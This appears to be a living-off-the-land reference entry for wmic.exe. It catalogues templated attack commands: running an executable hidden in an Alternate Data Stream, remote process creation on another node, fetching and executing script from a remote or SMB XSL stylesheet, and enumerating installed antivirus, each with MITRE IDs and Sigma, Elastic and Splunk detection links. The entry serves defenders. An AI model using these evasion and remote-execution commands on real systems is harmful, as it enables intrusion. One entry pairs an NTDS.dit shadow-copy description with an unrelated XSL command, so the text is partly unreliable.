Wmic.exe

Execute a .EXE file stored as an Alternate Data Stream (ADS)

Use Execute binary file hidden in Alternate data streams to evade defensive counter measures

wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

ADS

MITRE

T1564.004

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Wmic retrieving scripts from remote system/Internet location

IOC: DotNet CLR libraries loaded into wmic.exe

IOC: DotNet CLR Usage Log - wmic.exe.log

IOC: wmiprvse.exe writing files

Refs

stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory

subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html

twitter.com/subTee/status/986234811944648707

research.kudelskisecurity.com/2025/04/30/unmasking-blackbasta-inside-the-ransomware-syndicates-leaked-operations/

lolbas-project.github.io/lolbas/Binaries/Wmic/

Execute calc from wmic

Use Execute binary from wmic to evade defensive counter measures

wmic.exe process call create "{CMD}"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Wmic retrieving scripts from remote system/Internet location

IOC: DotNet CLR libraries loaded into wmic.exe

IOC: DotNet CLR Usage Log - wmic.exe.log

IOC: wmiprvse.exe writing files

Refs

stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory

subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html

twitter.com/subTee/status/986234811944648707

research.kudelskisecurity.com/2025/04/30/unmasking-blackbasta-inside-the-ransomware-syndicates-leaked-operations/

lolbas-project.github.io/lolbas/Binaries/Wmic/

Execute evil.exe on the remote system.

Use Execute binary on a remote system

wmic.exe /node:"192.168.0.1" process call create "{CMD}"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Wmic retrieving scripts from remote system/Internet location

IOC: DotNet CLR libraries loaded into wmic.exe

IOC: DotNet CLR Usage Log - wmic.exe.log

IOC: wmiprvse.exe writing files

Refs

stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory

subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html

twitter.com/subTee/status/986234811944648707

research.kudelskisecurity.com/2025/04/30/unmasking-blackbasta-inside-the-ransomware-syndicates-leaked-operations/

lolbas-project.github.io/lolbas/Binaries/Wmic/

Create a volume shadow copy of NTDS.dit that can be copied.

Use Execute binary on remote system

wmic.exe process get brief /format:"{REMOTEURL:.xsl}"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Wmic retrieving scripts from remote system/Internet location

IOC: DotNet CLR libraries loaded into wmic.exe

IOC: DotNet CLR Usage Log - wmic.exe.log

IOC: wmiprvse.exe writing files

Refs

stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory

subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html

twitter.com/subTee/status/986234811944648707

research.kudelskisecurity.com/2025/04/30/unmasking-blackbasta-inside-the-ransomware-syndicates-leaked-operations/

lolbas-project.github.io/lolbas/Binaries/Wmic/

Executes JScript or VBScript embedded in the target remote XSL stylsheet.

Use Execute script from remote system

wmic.exe process get brief /format:"{PATH_SMB:.xsl}"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Wmic retrieving scripts from remote system/Internet location

IOC: DotNet CLR libraries loaded into wmic.exe

IOC: DotNet CLR Usage Log - wmic.exe.log

IOC: wmiprvse.exe writing files

Refs

stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory

subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html

twitter.com/subTee/status/986234811944648707

research.kudelskisecurity.com/2025/04/30/unmasking-blackbasta-inside-the-ransomware-syndicates-leaked-operations/

lolbas-project.github.io/lolbas/Binaries/Wmic/

Copy file from source to destination.

Use Copy file.

wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Copy

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Wmic retrieving scripts from remote system/Internet location

IOC: DotNet CLR libraries loaded into wmic.exe

IOC: DotNet CLR Usage Log - wmic.exe.log

IOC: wmiprvse.exe writing files

Refs

stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory

subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html

twitter.com/subTee/status/986234811944648707

research.kudelskisecurity.com/2025/04/30/unmasking-blackbasta-inside-the-ransomware-syndicates-leaked-operations/

lolbas-project.github.io/lolbas/Binaries/Wmic/

Executes WMIC to gather the existing Antivirus or EDR solution installed on the machine.

Use Recon

WMIC.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName,productState

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1518.001

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml

Splunk: github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Wmic retrieving scripts from remote system/Internet location

IOC: DotNet CLR libraries loaded into wmic.exe

IOC: DotNet CLR Usage Log - wmic.exe.log

IOC: wmiprvse.exe writing files

Refs

stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory

subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html

twitter.com/subTee/status/986234811944648707

research.kudelskisecurity.com/2025/04/30/unmasking-blackbasta-inside-the-ransomware-syndicates-leaked-operations/

lolbas-project.github.io/lolbas/Binaries/Wmic/